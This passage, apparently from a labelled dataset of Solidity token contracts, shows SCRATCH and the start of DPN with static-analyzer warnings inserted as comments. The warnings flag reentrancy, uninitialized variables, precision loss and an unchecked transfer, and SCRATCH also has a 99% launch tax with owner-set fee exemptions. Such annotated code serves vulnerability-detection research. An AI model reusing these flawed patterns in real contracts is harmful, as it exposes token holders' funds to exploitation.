amount;\n\n\t\t// reentrancy-eth | ID: 0427abf\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 8cd3388\n emit Transfer(sender, recipient, amount);\n }\n\n function _tokengeneration(\n address account,\n uint256 amount\n ) internal virtual {\n _totalSupply = amount;\n\n _balances[account] = amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8f17446\n\t\t// reentrancy-benign | ID: 910a4c6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7a350e8\n\t\t// reentrancy-events | ID: a7c0872\n emit Approval(owner, spender, amount);\n }\n}\n\nlibrary Address {\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: 8cd3388\n\t\t// reentrancy-events | ID: 7a350e8\n\t\t// reentrancy-benign | ID: 8f17446\n\t\t// reentrancy-eth | ID: 0427abf\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract SCRATCH is BEP20, Ownable {\n using Address for address payable;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 290eb36): SCRATCH.router should be immutable \n\t// Recommendation for 290eb36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 609dc01): SCRATCH.pair should be immutable \n\t// Recommendation for 609dc01: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool private _interlock = false;\n\n bool public providingLiquidity = false;\n\n bool public tradingEnabled = false;\n\n uint256 public tokenLiquidityThreshold = 5e5 * 10 ** 18;\n\n uint256 public genesis_block;\n\n uint256 private deadline = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: d95db0f): SCRATCH.launchtax should be constant \n\t// Recommendation for d95db0f: Add the 'constant' attribute to state variables that never change.\n uint256 private launchtax = 99;\n\n address public marketingWallet = 0x3C9E8839fB99C15D866bEC29570A8593208dc8f5;\n\n address public devWallet = 0xCBA42EeD21fc1F34b2F7D0C7Dd37519DfECB3B21;\n\n address public constant deadWallet =\n 0x000000000000000000000000000000000000dEaD;\n\n struct Taxes {\n uint256 marketing;\n uint256 liquidity;\n uint256 dev;\n }\n\n Taxes public taxes = Taxes(3, 0, 0);\n\n Taxes public sellTaxes = Taxes(3, 0, 0);\n\n mapping(address => bool) public exemptFee;\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: 7290ffe): Modifier SCRATCH.lockTheSwap() does not always execute _; or revert\n\t// Recommendation for 7290ffe: All the paths in a modifier must execute '_' or revert.\n modifier lockTheSwap() {\n if (!_interlock) {\n _interlock = true;\n\n _;\n\n _interlock = false;\n }\n }\n\n constructor() BEP20(\"SCRATCH\", \"SCRATCH\") {\n _tokengeneration(msg.sender, 1e10 * 10 ** decimals());\n\n exemptFee[msg.sender] = true;\n\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n router = _router;\n\n pair = _pair;\n\n exemptFee[address(this)] = true;\n\n exemptFee[marketingWallet] = true;\n\n exemptFee[devWallet] = true;\n\n exemptFee[deadWallet] = true;\n\n exemptFee[0x23C99f168E3B3C0b5f52C094b062f0077cc69afF] = true;\n\n exemptFee[0x6661B69E92C80280Eb2a973ED32F5E46266cD2c2] = true;\n\n exemptFee[0x01fC66A8745A4F5cEBfF891192aA95acbEF6FA78] = true;\n\n exemptFee[0x5D7c261B5098A20C5633E2850daD4781043D3D5E] = true;\n\n exemptFee[0xC3512821F645cf204043CfA57a1a550EB32cDa80] = true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7a350e8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7a350e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8f17446): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8f17446: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7a350e8\n\t\t// reentrancy-benign | ID: 8f17446\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: 7a350e8\n\t\t// reentrancy-benign | ID: 8f17446\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public override returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public override returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8cd3388): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8cd3388: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0427abf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0427abf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ac68b6b): SCRATCH._transfer(address,address,uint256).feeswap is a local variable never initialized\n\t// Recommendation for ac68b6b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ae375a4): SCRATCH._transfer(address,address,uint256).feesum is a local variable never initialized\n\t// Recommendation for ae375a4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 4ff2178): SCRATCH._transfer(address,address,uint256).fee is written in both fee = 0 fee = (amount * feesum) / 100\n\t// Recommendation for 4ff2178: Fix or remove the writes.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 11bab38): SCRATCH._transfer(address,address,uint256).currentTaxes is a local variable never initialized\n\t// Recommendation for 11bab38: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!exemptFee[sender] && !exemptFee[recipient]) {\n require(tradingEnabled, \"Trading not enabled\");\n }\n\n uint256 feeswap;\n\n uint256 feesum;\n\n uint256 fee;\n\n Taxes memory currentTaxes;\n\n bool useLaunchFee = !exemptFee[sender] &&\n !exemptFee[recipient] &&\n block.number < genesis_block + deadline;\n\n\t\t// write-after-write | ID: 4ff2178\n if (_interlock || exemptFee[sender] || exemptFee[recipient]) fee = 0;\n else if (recipient == pair && !useLaunchFee) {\n feeswap = sellTaxes.liquidity + sellTaxes.marketing + sellTaxes.dev;\n\n feesum = feeswap;\n\n currentTaxes = sellTaxes;\n } else if (\n sender == pair && recipient != address(router) && !useLaunchFee\n ) {\n feeswap = taxes.liquidity + taxes.marketing + taxes.dev;\n\n feesum = feeswap;\n\n currentTaxes = taxes;\n } else if (useLaunchFee) {\n feeswap = launchtax;\n\n feesum = launchtax;\n }\n\n\t\t// write-after-write | ID: 4ff2178\n fee = (amount * feesum) / 100;\n\n if (providingLiquidity && sender != pair)\n\t\t\t// reentrancy-events | ID: 8cd3388\n\t\t\t// reentrancy-eth | ID: 0427abf\n Liquify(feeswap, currentTaxes);\n\n\t\t// reentrancy-events | ID: 8cd3388\n\t\t// reentrancy-eth | ID: 0427abf\n super._transfer(sender, recipient, amount - fee);\n\n if (fee > 0) {\n if (feeswap > 0) {\n uint256 feeAmount = (amount * feeswap) / 100;\n\n\t\t\t\t// reentrancy-events | ID: 8cd3388\n\t\t\t\t// reentrancy-eth | ID: 0427abf\n super._transfer(sender, address(this), feeAmount);\n }\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7c0872): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7c0872: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 910a4c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 910a4c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25d43c9): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 25d43c9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 531e304): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 531e304: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4178116): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4178116: Consider ordering multiplication before division.\n function Liquify(\n uint256 feeswap,\n Taxes memory swapTaxes\n ) private lockTheSwap {\n if (feeswap == 0) {\n return;\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance >= tokenLiquidityThreshold) {\n if (tokenLiquidityThreshold > 1) {\n contractBalance = tokenLiquidityThreshold;\n }\n\n uint256 denominator = feeswap * 2;\n\n uint256 tokensToAddLiquidityWith = (contractBalance *\n swapTaxes.liquidity) / denominator;\n\n uint256 toSwap = contractBalance - tokensToAddLiquidityWith;\n\n uint256 initialBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: a7c0872\n\t\t\t// reentrancy-benign | ID: 910a4c6\n swapTokensForETH(toSwap);\n\n uint256 deltaBalance = address(this).balance - initialBalance;\n\n\t\t\t// divide-before-multiply | ID: 25d43c9\n\t\t\t// divide-before-multiply | ID: 531e304\n\t\t\t// divide-before-multiply | ID: 4178116\n uint256 unitBalance = deltaBalance /\n (denominator - swapTaxes.liquidity);\n\n\t\t\t// divide-before-multiply | ID: 4178116\n uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;\n\n if (ethToAddLiquidityWith > 0) {\n\t\t\t\t// reentrancy-events | ID: a7c0872\n\t\t\t\t// reentrancy-benign | ID: 910a4c6\n addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);\n }\n\n\t\t\t// divide-before-multiply | ID: 25d43c9\n uint256 MarketingAmt = unitBalance * 2 * swapTaxes.marketing;\n\n if (MarketingAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 8cd3388\n\t\t\t\t// reentrancy-events | ID: 7a350e8\n\t\t\t\t// reentrancy-benign | ID: 8f17446\n\t\t\t\t// reentrancy-eth | ID: 0427abf\n payable(marketingWallet).sendValue(MarketingAmt);\n }\n\n\t\t\t// divide-before-multiply | ID: 531e304\n uint256 devAmt = unitBalance * 2 * swapTaxes.dev;\n\n if (devAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 8cd3388\n\t\t\t\t// reentrancy-events | ID: 7a350e8\n\t\t\t\t// reentrancy-benign | ID: 8f17446\n\t\t\t\t// reentrancy-eth | ID: 0427abf\n payable(devWallet).sendValue(devAmt);\n }\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8cd3388\n\t\t// reentrancy-events | ID: 7a350e8\n\t\t// reentrancy-events | ID: a7c0872\n\t\t// reentrancy-benign | ID: 8f17446\n\t\t// reentrancy-benign | ID: 910a4c6\n\t\t// reentrancy-eth | ID: 0427abf\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c49831f): SCRATCH.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadWallet,block.timestamp)\n\t// Recommendation for c49831f: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8cd3388\n\t\t// reentrancy-events | ID: 7a350e8\n\t\t// reentrancy-events | ID: a7c0872\n\t\t// reentrancy-benign | ID: 8f17446\n\t\t// reentrancy-benign | ID: 910a4c6\n\t\t// unused-return | ID: c49831f\n\t\t// reentrancy-eth | ID: 0427abf\n router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadWallet,\n block.timestamp\n );\n }\n\n function updateLiquidityProvide(bool state) external onlyOwner {\n providingLiquidity = state;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 358bfb0): SCRATCH.updateLiquidityTreshhold(uint256) should emit an event for tokenLiquidityThreshold = new_amount * 10 ** decimals() \n\t// Recommendation for 358bfb0: Emit an event for critical parameter changes.\n function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {\n require(\n new_amount <= 1e7,\n \"Swap threshold amount should be lower or equal to 1% of tokens\"\n );\n\n\t\t// events-maths | ID: 358bfb0\n tokenLiquidityThreshold = new_amount * 10 ** decimals();\n }\n\n function SetBuyTaxes(\n uint256 _marketing,\n uint256 _liquidity,\n uint256 _dev\n ) external onlyOwner {\n taxes = Taxes(_marketing, _liquidity, _dev);\n\n require(\n (_marketing + _liquidity + _dev) <= 12,\n \"Must keep fees at 12% or less\"\n );\n }\n\n function SetSellTaxes(\n uint256 _marketing,\n uint256 _liquidity,\n uint256 _dev\n ) external onlyOwner {\n sellTaxes = Taxes(_marketing, _liquidity, _dev);\n\n require(\n (_marketing + _liquidity + _dev) <= 12,\n \"Must keep fees at 12% or less\"\n );\n }\n\n function EnableTrading() external onlyOwner {\n require(!tradingEnabled, \"Cannot re-enable trading\");\n\n tradingEnabled = true;\n\n providingLiquidity = true;\n\n genesis_block = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c58e807): SCRATCH.updatedeadline(uint256) should emit an event for deadline = _deadline \n\t// Recommendation for c58e807: Emit an event for critical parameter changes.\n function updatedeadline(uint256 _deadline) external onlyOwner {\n require(!tradingEnabled, \"Can't change when trading has started\");\n\n require(_deadline < 5, \"Deadline should be less than 5 Blocks\");\n\n\t\t// events-maths | ID: c58e807\n deadline = _deadline;\n }\n\n function updateMarketingWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Fee Address cannot be zero address\");\n\n marketingWallet = newWallet;\n }\n\n function updateDevWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Fee Address cannot be zero address\");\n\n devWallet = newWallet;\n }\n\n function updateExemptFee(address _address, bool state) external onlyOwner {\n exemptFee[_address] = state;\n }\n\n function bulkExemptFee(\n address[] memory accounts,\n bool state\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n exemptFee[accounts[i]] = state;\n }\n }\n\n function rescueBNB(uint256 weiAmount) external onlyOwner {\n payable(owner()).transfer(weiAmount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b576af8): SCRATCH.rescueBSC20(address,uint256) ignores return value by IBEP20(tokenAdd).transfer(owner(),amount)\n\t// Recommendation for b576af8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueBSC20(address tokenAdd, uint256 amount) external onlyOwner {\n require(\n tokenAdd != address(this),\n \"Owner can't claim contract's balance of its own tokens\"\n );\n\n\t\t// unchecked-transfer | ID: b576af8\n IBEP20(tokenAdd).transfer(owner(), amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10886.sol",
"size_bytes": 26268,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb12e14): DPN.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for cb12e14: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 4c7a2ba\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 4c7a2ba\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 5c69d0f\n emit Transfer(sender, recipient, amount);\n }\n\n function _createInitialSupply(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 60d5a5c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a81ffc9\n emit Approval(owner, spender, amount);\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract DPN is ERC20, Ownable {\n uint256 public maxBuy;\n\n uint256 public maxSell;\n\n uint256 public maxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f477b7c): DPN.dexRouter should be immutable \n\t// Recommendation for f477b7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b7fb8a5): DPN.lpPair should be immutable \n\t// Recommendation for b7fb8a5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public lpPair;\n\n bool private swapping;\n\n uint256 public swapTokensAtAmount;\n\n address operationsAddress;\n\n address devAddress;\n\n uint256 public tradingActiveBlock = 0;\n\n uint256 public blockForPenaltyEnd;\n\n mapping(address => bool) public boughtEarly;\n\n uint256 public botsCaught;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n\n uint256 public buyOperationsFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public buyBurnFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellOperationsFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public sellBurnFee;\n\n uint256 public tokensForOperations;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n uint256 public tokensForBurn;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event Launched();\n\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event BuyBackTriggered(uint256 amount);\n\n event OwnerForcedSwapBack(uint256 timestamp);\n\n event CaughtEarlyBuyer(address sniper);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b5488c5): DPN.constructor().newOwner lacks a zerocheck on \t operationsAddress = address(newOwner) \t devAddress = address(newOwner)\n\t// Recommendation for b5488c5: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb12e14): DPN.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for cb12e14: Rename the local variables that shadow another component.\n constructor() ERC20(\"Decentralized Private Networks\", \"DPN\") {\n address newOwner = msg.sender;\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexRouter = _dexRouter;\n\n lpPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n _excludeFromMaxTransaction(address(lpPair), true);\n\n _setAutomatedMarketMakerPair(address(lpPair), true);\n\n uint256 totalSupply = 1 * 1e8 * 1e18;\n\n maxBuy = (totalSupply * 2) / 100;\n\n maxSell = (totalSupply * 2) / 100;\n\n maxWallet = (totalSupply * 2) / 100;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyOperationsFee = 15;\n\n buyLiquidityFee = 0;\n\n buyDevFee = 0;\n\n buyBurnFee = 0;\n\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n sellOperationsFee = 20;\n\n sellLiquidityFee = 0;\n\n sellDevFee = 0;\n\n sellBurnFee = 0;\n\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n _excludeFromMaxTransaction(newOwner, true);\n\n _excludeFromMaxTransaction(address(this), true);\n\n _excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromFees(newOwner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n\t\t// missing-zero-check | ID: b5488c5\n operationsAddress = address(newOwner);\n\n\t\t// missing-zero-check | ID: b5488c5\n devAddress = address(newOwner);\n\n _createInitialSupply(newOwner, totalSupply);\n\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function golive(uint256 _deadblocks) external onlyOwner {\n require(!tradingActive, \"Cannot reenable trading\");\n\n tradingActive = true;\n\n swapEnabled = true;\n\n tradingActiveBlock = block.number;\n\n 